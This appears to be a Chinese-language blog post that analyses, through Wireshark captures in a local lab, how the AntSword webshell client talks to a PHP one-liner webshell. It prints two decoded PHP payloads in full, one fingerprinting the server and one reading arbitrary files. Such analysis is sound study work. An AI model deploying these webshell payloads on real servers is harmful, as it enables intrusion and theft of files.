从wireshark了解蚁剑的工作原理
早上看到师兄们聊能连jsp的蚁剑,我就顺便回忆了一下蚁剑的工作原理。突然发现,以前看过好几遍的分析文章,脑子都骗了我,告诉我它记住了。
还是要自己动手分析一下,不然脑子总是欺骗我。
1. 我已经在本地搭建好了环境,并放入了一句话马。
2. 蚁剑连接并同时用wireshark抓取流量。
3.追踪tcp流:
4.往下翻一翻,发现了:
5.因为我们的一句话是$_POST[‘dawn’],所以这里是post了一个dawn参数,后面跟上了命令。url解码看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | @ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; }; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "595fa0323f"; echo @asenc($output); echo"da825"; } ob_start(); try{ $D=dirname($_SERVER["SCRIPT_FILENAME"]); if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]); $R="{$D} "; if(substr($D,0,1)!="/"){ foreach(range("C","Z")as $L) if(is_dir("{$L}:")) $R.="{$L}:"; }else{ $R.="/"; } $R.=" "; $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; $s=($u)?$u["name"]:@get_current_user(); $R.=php_uname(); $R.=" {$s}"; echo $R;; } catch(Exception $e){ echo "ERROR://".$e->getMessage(); }; asoutput(); die(); |
从上往下分析:(因为代码多,所以只能这么排版,不太方便对照着看)
@ini_set(“display_errors”, “0”);是临时关闭PHP的错误显示功能
@set_time_limit(0);是设置执行时间,为零说明永久执行直到程序结束,是为了防止像dir、上传文件大马时超时。
asenc函数:简单的接收参数然后直接返回;
asoutput函数:
先用ob_get_contents得到缓冲区的数据。然后用ob_end_clean清除缓冲区的内容,并将缓冲区关闭。然后把接收到的缓冲区数据输出。
ob_start()是在服务器打开一个缓冲区来保存所有的输出。
try里面:
$_SERVER[“SCRIPT_FILENAME”]是获取当前执行脚本的绝对路径。
dirname() 函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录。
如果$D为空,那么就用$_SERVER[“PATH_TRANSLATED”]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。
然后把获取到的$D加上TAB赋值给$R
然后下面的if:
先判断$D的第一位是不是/,这里应该是在判断是linux系统还是windows系统。
假如是windows,就从C到Z循环,is_dir是判断是否存在这个盘符目录。假如存在这个盘符就添加在$R的后面。
假如是linux的,就直接在后面加了个 “/” 。
然后又在$R后面加了个TAB。
先去官网文档查一下接下来要用到的几个函数。
function_exists:顾名思义,判断函数是否定义存在。
posix_getegid:返回当前进程的有效组ID
posix_getpwuid:按用户id返回有关用户的信息。
然后就是判断posix_getegid函数是否存在,如果存在posix_getegid函数存在就获取信息赋值给$u,否则$u为空。
然后下面判断$u是否为空,假如不为空就获取键值为name的值给$s,否则用get_current_user函数获取当前PHP脚本所有者的名称赋值给$s。
然后用 php_uname 函数获取 有关正在运行的操作系统PHP的信息,并将其添加在$R后面,然后把上面获取的$s也添加在$R后面。然后输出$R。
假如出错就返回错误信息。
我在官方文档里也没找到asoutput();到底是干什么的,不是很重要了。最后再die了一下。
再看一下我们的数据包返回信息,大概就理解了上面这些代码到底是干嘛的。
接下来我随便打开了一个php文件,看一下发送的指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | @ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; }; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "7545b34"; echo @asenc($output); echo "644b58cc3bac"; } ob_start(); try{ $F=base64_decode($_POST["x7e381bdf1773a"]); $P=@fopen($F,"r"); echo(@fread($P,filesize($F)?filesize($F):4096)); @fclose($P);; }catch(Exception $e){ echo "ERROR://".$e->getMessage(); }; asoutput(); die(); &x7e381bdf1773a=RTovcGhwc3R1ZHkvcGhwc3R1ZHlfcHJvL1dXVy9zcWxpMS9MZXNzLTEvaW5kZXgucGhw |
大体上都差不多的,我们分析一下try里面:
将从POST传过来的x7e381bdf1773a变量进行base64解码赋值给$F,注意这不是什么编码,这就只是个奇怪的变量名。
然后用只读的方式打开文件,然后读文件,假如文件大小为空就默认读4096字节,然后关闭文件流。
其他差不多,然后在最后,传了上面所说的奇怪变量名参数,我们去base64解码看一下:
大概的分析就到此结束了,蚁剑还有很多更强大的功能,利用思路也差不多,如果有不对的地方还请大佬们指出,谢谢。
蚁剑下载的话可以去看看这位大佬的文章:https://xz.aliyun.com/t/7491。
经常改蚁剑的大佬,佩服。